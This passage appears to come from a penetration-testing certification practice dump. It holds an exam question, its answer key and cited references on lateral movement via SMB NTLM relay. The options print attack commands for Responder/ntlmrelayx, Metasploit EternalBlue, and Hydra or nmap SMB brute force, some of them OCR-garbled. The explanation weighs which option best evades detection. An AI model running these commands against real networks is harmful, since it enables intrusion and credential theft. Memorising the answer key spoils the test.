Framework. This resource explicitly lists PsExec as a common tool used by adversaries for lateral
movement. It states, "Adversaries may use tools like PsExec to map network shares... and
execute commands on remote hosts."

Reference: Technique T1021.002, under the Lateral Movement Tactic (TA0008).

3. Al-Shaer, E., & Wei, J. (2015). Network Security Analytics: A Hands-on Approach. In
Proceedings of the 2015 ACM SIGSAC Conference on Computer and Communications Security
(pp- 1597-1599). This academic publication discusses security analytics and often references
common attack tools. Similar academic texts on intrusion detection identify the use of tools like
PsExec as a key indicator of the lateral movement phase of an attack.

Reference: Analysis of post-exploitation techniques in network security courseware and texts
frequently cites PsExec as a primary example for lateral movement.
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Question: 30

Information Gathering and Vulnerability Scanning A tester obtains access to an endpoint subnet
and wants to move laterally in the network. Given the following Nmap scan output:

Nmap scan report for somehost Host is up (0.01s latency). PORT STATE SERVICE 445/tcp open
microsoft-ds Host script results: smb2-security-mode: Message signing disabled

Which of the following command and attack methods is the most appropriate for reducing the
chances of being detected?

A. responder -l ethO -dwv ntimrelayx.py -smb2support -tf
B. msf use exploit/windows/smb/ms17010psexec
C. hydra -L administrator -P /path/to/passwdlist smb://

D. nmap --script smb-brute.nse -p 445

Answer:
A

Explanation:

The Nmap scan explicitly identifies that "Message signing disabled" on the SMB service (port
445). This is a critical vulnerability that allows for NTLM relay attacks. The command in option A
uses Responder to poison LLMNR/NBT-NS requests and intercept authentication hashes, then
uses ntlmrelayx.py to relay those credentials to a target host. This attack directly leverages the
identified vulnerability. It is considered stealthier than active exploitation or brute-force attacks
because it hijacks legitimate authentication traffic, thereby reducing the likelihood of triggering IDS
signatures or generating a large volume of failed login alerts that are common with brute-force
methods.

Why Incorrect Options are Wrong:

B. This command attempts to use the MS17-010 (EternalBlue) exploit. The scan did not confirm
this specific vulnerability exists, and exploit attempts are typically very noisy and easily detected
by security monitoring systems.

C. This command uses Hydra to perform a brute-force/dictionary attack. This method generates
numerous failed login attempts, is extremely noisy, and is highly likely to trigger account lockouts
and security alerts.

D. This Nmap script also performs a brute-force attack against SMB. Like Hydra, this is a noisy
technique that is easily detected and does not leverage the specific finding of disabled message
signing.
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SMB Relay, Technique T1557.001. MITRE. Retrieved from
https://attack.mitre.org/techniques/T1557/001/.

Reference Specifics: The technique description states, "The captured authentication hashes can
be relayed to other systems to gain access, provided that SMB signing is disabled on the
destination host." This directly links the disabled signing vulnerability to the relay attack method.
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Reference Specifics: In the "How SMB signing works" section, the document explains, "Without
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forward a user's credentials to a server and impersonate that user." This official documentation
confirms the risk exploited by the correct answer.

3. Rochester Institute of Technology (RIT). (n.d.). CSEC 464: Network Security and Forensics -
Active Directory Attacks Course Slides.

Reference Specifics: In slides covering Active Directory attacks, the courseware details the exact
attack chain using Responder and ntimrelayx, explicitly noting that it works because SMB signing
is not enforced, allowing the relayed credentials to be accepted by the target server. This
demonstrates the technique as a standard part of academic cybersecurity curricula.

https://certempire.com



https://certempire.com/

